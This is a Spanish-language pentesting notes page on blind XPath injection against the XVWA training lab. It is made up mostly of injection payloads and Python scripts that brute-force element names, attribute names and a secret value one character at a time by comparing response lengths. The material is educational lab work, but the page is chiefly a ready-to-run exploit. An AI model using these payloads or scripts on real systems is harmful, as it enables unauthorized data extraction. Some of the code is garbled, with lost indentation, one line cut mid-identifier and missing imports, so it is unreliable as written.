> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/xpath-injection-attack/xpath-injection-techniques-pentesting-web.md).
# Técnicas de inyección XPath
Esta es la página web donde introduces un número de cafés y otros campos como **el id, el título, la descripción**, etc.
Aquí está el **archivo XML** cuyo contenido deberíamos intentar obtener:
### Pasos de inyección:
#### **Filtra el elemento principal XML:**
Filtra con **substring** si la primera letra de la palabra Coffees es C:
```xml
1' and substring(name(/*[1]),1,1)='C
```
Esto **Python** el script automatiza todo el proceso:
```python
#!/usr/bin/python3
from pwn import *
import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
print("/n/n[!] Saliendo.../n")
sys.exit(1)
## Técnicas de inyección XPath
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
data = ""
p1 = log.progress("Ataque de fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos")
for position in range(1, 8):
for character in characters:
post_data = {
'search': "1' and substring(name(/*[1]),%d,1)='%s" % (position, character),
'submit': ''
}
r = requests.post(main_url, data=post_data)
if len(r.text) != 8681:
data += character
p2.status(data)
break
p1.success("Ataque de fuerza bruta concluido")
p2.success(data)
if __name__ == '__main__':
xPathInjection()
```
#### Filtra el XML de la subetiqueta:
Filtra con **substring** si la primera letra de la palabra Coffee es C:
```xml
1' and substring(name(/*[1]/*[1]),1,1)='C
```
Esto **Python** el script automatiza todo el proceso:
#!/usr/bin/python3
from pwn import *
import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
print("/n/n[!] Saliendo.../n")
sys.exit(1)
## Técnicas de inyección XPath
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
data = ""
p1 = log.progress("Ataque de fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos")
for position in range(1, 7):
for character in characters:
post_data = {
'search': "1' and substring(name(/*[1]/*[1]),%d,1)='%s" % (position, character),
'submit': ''
}
r = requests.post(main_url, data=post_data)
if len(r.text) != 8686:
data += character
p2.status(data)
break
p1.success("Ataque de fuerza bruta concluido")
p2.success(data)
if __name__ == '__main__':
xPathInjection()
#### **Filtra el XML de los atributos:**
Filtra con **substring** si la primera letra de la palabra ID es I:
```markdown
1' and substring(name(/*[1]/*[1]/*[1]),1,1)='I
```
Esto **Python** el script automatiza todo el proceso:
```python
#!/usr/bin/python3
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
print("/n/n[!] Saliendo.../n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
data = ""
p1 = log.progress("Ataque de fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos")
for first_position in range(1, 6):
for second_position in range(1,21):
for character in characters:
post_data = {
'search': "1' and substring(name(/*[1]/*[1]/*[%d]),%d,1)='%s" % (first_positio
'submit': ''
}
r = requests.post(main_url, data=post_data)
if len(r.text) != 8691 and len(r.text) != 8692:
data += character
p2.status(data)
break
if first_position != 5:
data += ":"
p1.success("Ataque de fuerza bruta concluido")
p2.success(data)
if __name__ == '__main__':
xPathInjection()
```
#### **Filtra el XML de los atributos del contenido:**
Filtramos con el **substring** si la primera letra de la frase secreta es T:
```xml
1' and substring(Secret,1,1)='T
```
Esto **Python** el script automatiza todo el proceso:
#!/usr/bin/python3
from pwn import *
import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
print("/n/n[!] Saliendo.../n")
sys.exit(1)
## Técnicas de inyección XPath
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters + ' '
def xPathInjection():
data = ""
p1 = log.progress("Ataque de fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos")
for first_position in range(1, 100):
for character in characters:
post_data = {
'search': "1' and substring(Secret,%d,1)='%s" % (first_position, character),
'submit': ''
}
r = requests.post(main_url, data=post_data)
if len(r.text) != 8676 and len(r.text) !=8677:
data += character
p2.status(data)
break
p1.success("Ataque de fuerza bruta concluido")
p2.success(data)
if __name__ == '__main__':
xPathInjection()
---
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